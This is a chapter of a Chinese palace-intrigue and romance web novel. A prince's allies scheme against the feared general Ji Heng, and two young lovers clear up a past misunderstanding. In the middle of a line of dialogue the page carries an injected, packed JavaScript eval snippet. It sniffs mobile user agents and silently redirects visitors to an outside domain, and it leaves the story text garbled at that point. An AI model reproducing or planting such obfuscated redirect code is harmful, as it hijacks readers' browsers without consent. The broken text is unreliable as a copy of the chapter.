默认冷灰
24号文字
方正启体

67. 软肋

作者:竹清安本书字数:K更新时间:
    太子府


    坐在桌前的人身着玄衣,上面拿金线勾着繁复的四爪龙纹,阳光一照,威风凛凛,自带着皇家的矜贵之气。


    季砚蹙着眉,执着密诏的修长指节紧攥。


    “父皇竟然叫我亲自去迎他。”


    他将手上的密诏放下,伸手抚平紧蹙的眉心:“这些年里,我将季珩的势力吞了不少,若是真要亲自对上,怕不是那么容易便能应付过去的。”


    “这有什么。”


    倚在窗边的异瞳少年双臂环胸,拔刀在空中比划了下,笑容澄澈又乖戾:“我到时候直接把他杀了不就行了?”


    “秋朝,这话可不能乱说。”


    季砚扶额看向沈清臣:“清臣有何高见?”


    青衣公子坐在对面,身姿清越,清雅似竹。


    他伸手,不紧不慢地倒了盏茶水,浅笑着回道:“我觉得秋朝说的有道理。”


    王秋朝眼睛一亮,唇角的笑容勾得更大,露出一口白牙:


    “阿砚你瞧,清臣都站在我这边!”


    “清臣,你怎么也跟着他胡闹。”


    季砚从沈清臣手中接过茶盏,有些无奈地笑道:“你们若要动手,记得做得干净些,后面我再来给你们扫尾。”


    沈清臣见季砚似乎真有当真的意思,忽地轻笑。


    “阿砚不必担忧。”


    他手上执着白玉茶盏,浅抿了口盏中清茶,举手投足间,自带着股俊逸风骨。


    “我先前已经将痕迹都抹干净了,财物地产全都折现进了私库,奇珍异宝也早已在鬼市中流通了几回,至于人手,全都服下了秋紫苏她做的剧毒,每月都要定期服解药,我也派人在暗中监视,他们不敢轻易背叛。”


    沈清臣笑得云淡风轻,像是成竹在胸,将所有事都谋算在心。


    哪怕是坐在这一方宅院内,也能运筹帷幄,谈笑之间,便能锁定棋局。


    “哪怕季珩察觉,他也找不出证据来。”


    沈清臣抬眸,噙着笑意的双眸中寒光一闪:“若是他没有证据便来胡乱攀咬,那也正好给了我们机会,可以肆无忌惮地反击回去。”


    “到时候,秋朝也能大展拳脚。”


    沈清臣说着,目光瞥向一边正无聊打着哈欠的王秋朝。


    “嗯?”


    王秋朝听见沈清臣唤他,有些疑惑地抬眸看过来,唇角绽开笑容:“啊对,反正要杀人的活我来就行。”


    王秋朝双手交叠放在脑后,散漫地倚在窗边,笑容中溢出浓烈的杀气:


    “季珩那禽兽杀了我王家那么多人,若不是你们拦着,我早去跟他同归于尽了。”


    “太冲动。”


    季砚摇头,颇为无奈地看着他:“怎么就非要去送死不成?”


    王秋朝耸耸肩,敛去笑意没再答话。


    季砚也意识到自己好像说错了话,轻叹一声,干脆也别过脸去。


    空气凝滞了一瞬。


    沈清臣放下茶盏,像是缓和气氛般地轻声道:


    “人总有底线,总有软肋。”


    “若有人害我妹妹,我恐怕能比秋朝还疯。”


    “有人要害小师姐?!”


    王秋朝猛地紧张起来,瞳孔骤缩,瞬间便直起了身子。


    沈清臣、季砚:……


    沈清臣微阖了阖眸,干脆眼不见为净。


    季砚再次无奈地扶额,转移话题道:“若说软肋,我倒从未发现季珩身上有什么软肋。”


    季珩比季砚略大几岁。


    当年季砚尚在皇宫时,也曾见过这位名冠衡京的十九皇叔。


    当时沈清臣年纪尚小,神童之名尚且未显,而遍观当时衡京诸多世家子弟,无人能跟季珩争辉。


    不论是武功还是才学,都是被当世大家盛赞为少年天才的存在,再加上是皇上幼子,自幼便得盛宠,虽是年幼丧母,却也要风得风要雨得雨,才惊天下,风光无两。


    东熙上下,无人不知先帝时那惊才绝艳、举世无双的十九皇子。


    光芒之盛,全然不亚于现今的东熙第一公子沈清臣。


    就连季砚,也曾在季珩大放异彩时敬仰过他,想象着自己也要成为这般的人。


    只可惜……


    季珩去了边关后,便性情大变,原来惊才绝艳的皇子变成了个暴戾嗜杀的疯子杀神。


    战神之名虽盛,但与他赫赫战功齐名的,是他绝对残忍狠辣的手段。


    从心所欲,暴戾嗜杀,至于那“软肋”二字,无论如何都不像是能出现在季珩身上的字眼。


    他没有软肋,也没有底线。


    若非当年他们用他多疑的性子钻了个空子,季珩也不会这么轻易地就消失了好几年。


    “这可不一定。”


    沈清臣抬头,阳光落在他清俊的桃花眸中,笑意潋滟,濯濯如泉:“我倒是查到了些有趣的事情。”


    -


    与此同时,春香楼附近的巷子处


    迟锦闻愣愣地听完沈泠说的话,一时不知该作何反应。


    当年……


    阿泠来找过他?


    她当初说的“想一下”,原来是真的想,不是委婉的拒绝么?


    所以她当初来找他是……


    是来答应他的吗?


    “阿泠。”


    迟锦闻一时不知是该笑还是该哭,直接将沈泠抱在怀里,脑袋靠在她的颈窝间,眷恋地蹭了蹭:“所以当年你来找我,是想告诉我什么?”


    “你也心悦我对不对?”


    “你当初来是想告诉我这个对不对?”


    迟锦闻越说越激动,眼尾垂着,声音里都快带上了些哑意。


    她也喜欢他。


    他心心念念了许多年的阿泠也喜欢他。


    沈泠:?


    怎么就抱上来了?他还没把事情说清楚呢!


    “迟锦闻。”


    沈泠感受到脖颈间毛绒绒的触感,有些痒得偏了偏头,伸手试图推开他:“你还没回答我的问题!”


    迟锦闻像是个不安的大型犬,牢牢地扒着沈泠,不管沈泠怎么推都不撒手,反倒抱得更紧了些。


    他又蹭了蹭她的脖颈,凑到她耳畔哑声道:“阿泠先回答我的问题。”


    沈泠本来想直接给他一掌,见他这般委屈模样,心里到底还是生了些不忍。


    “嗯。”


    “你心悦我?”


    “嗯。”


    “你当时过来就是想告诉我这件事?”


    “嗯。”


    “那我们现在就约定终身可好?”


    “嗯……嗯?!”


    沈泠忽地反应过来,手上猛地用力,直接把迟锦闻再次推回墙上。


    “砰——”


    迟锦闻重重地撞在墙上,沈泠蹙着眉,耳根微红:“你在说什么乱七八糟的东西?”


    迟锦闻靠在墙上,垂首敛眸,许久都没说话。


    就在沈泠思索她是不是伤到他了时,迟锦闻忽地抬起头来,墨发微散,眼眶通红,晶莹的泪珠坠在长睫上,一连串地往下落,直直地滑入修长的脖颈。


    沈泠从没见过他这个样子。


    她一时慌了神,担忧地凑上前去,用手帕擦着他脸上的泪珠:“你怎么了?可是我方才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622594|164597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把你弄痛了?”


    “阿泠。”


    迟锦闻的声音好像哽咽了,伸手攥住沈泠为他拭泪的手,轻轻贴在自己的侧脸上:“我只是……太开心了。”


    这真的不是梦吗?


    他梦里出现过千百次的场景,竟然真的成真了。


    迟锦闻感觉自己现在像是飘在云端上,脚底软绵绵的,踩不到实处。


    太不真实了。


    阿泠拒绝了他那么多次,结果现在她告诉他,她也一直喜欢着他。


    至于那个误会……


    迟锦闻哭着哭着,忽地轻笑起来,泛红的凤眸还闪着泪光,瞧着颇有几分可怜样子:


    “那个燕儿是周宴伪装出来的。”


    “当初我以为被你拒绝了,他就说叫我把对你说的话跟他学一遍,他来看看哪里出了问题。”


    “我不会跟别的姑娘说那些话的。”


    迟锦闻看着沈泠:“我只喜欢你,那些话也只对你一个人说过。”


    迟锦闻说罢,微微顿了下,又补了句:


    “周宴若是你介意,可以不把他当人看。”


    “扑哧——”


    沈泠本来还在思考迟锦闻话里的真实性,冷不防地听见这么一句,瞬间便笑出了声来。


    连带着方才心上升起的半分怀疑,也消失了个干净。


    不过,她倒是还有个疑问。


    “周宴他扮成姑娘是要干什么?”


    沈泠隐约有个猜想,迫不及待想听到迟锦闻的证实。


    迟锦闻见沈泠的注意力被旁人吸引走,有些不悦地瘪了瘪嘴。


    他垂着头,轻叹了声道:“他去追他那心上人,就是春香楼的沉鱼姑娘。”


    “他说,近水楼台先得月。”


    迟锦闻的食指渐渐靠近沈泠垂在身旁的手,与她指尖相触:“所以就换了春香楼原先打算给沉鱼安排的侍女,自己穿女装李代桃僵,日日陪在她的身侧。”


    “那他成功了么?”


    “不知道。”


    迟锦闻见沈泠没有抵触他的触碰,心上大喜,偷偷地又伸了几根手指出去。


    忽地,他的手被冰凉的柔荑攥住,直接与他十指相交。


    “要牵就光明正大地牵。”


    沈泠走到迟锦闻身旁,拉着他往巷外走,声音淡淡:“既然误会解决了,那也就没必要遮遮掩掩、试探来试探去的了。”


    片刻后,沈泠和迟锦闻十指相扣着出现在东街上


    两人容貌尤盛,气质矜贵,路过的百姓纷纷侧目,小声猜测二人是哪个世家的未婚小夫妻出来相逛。


    迟锦闻听见周围人将他们凑成一对,顿时心花怒放,凤眸中漾起笑意,灼灼明朗。


    长指将沈泠的手攥得更紧了些,像是生怕她跑了似的。


    迟锦闻和沈泠两人并肩而行,皦玉白裙和绛红锦袍的衣摆缠绵相交,远远望去,俨然一对璧人。


    不远处,一辆马车缓缓驶过。


    车轮偶地途经一个凹坑,上下颠簸了下,车帘晃动间,露出一张娇妍灵动的脸。


    苏漫将马车侧帘掀开,兴致勃勃地看着街景,最后落在沈泠和迟锦闻的身上,眼睛忽地一亮:


    “苏铁柱你快看!那边两个人长得好好看!”


    “看这亲昵样子,估摸着应该是一对。”


    季珩穿着一身群青锦袍,头束镶银玉冠,容色温和,恰似朗月清风。


    他偏头瞥过去,唇角勾起浅淡笑意,冷白指节揉搓着尾指上戴着的银蛇戒,轻声应道:“嗯。”


    真是好久不见了。


    两位老熟人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)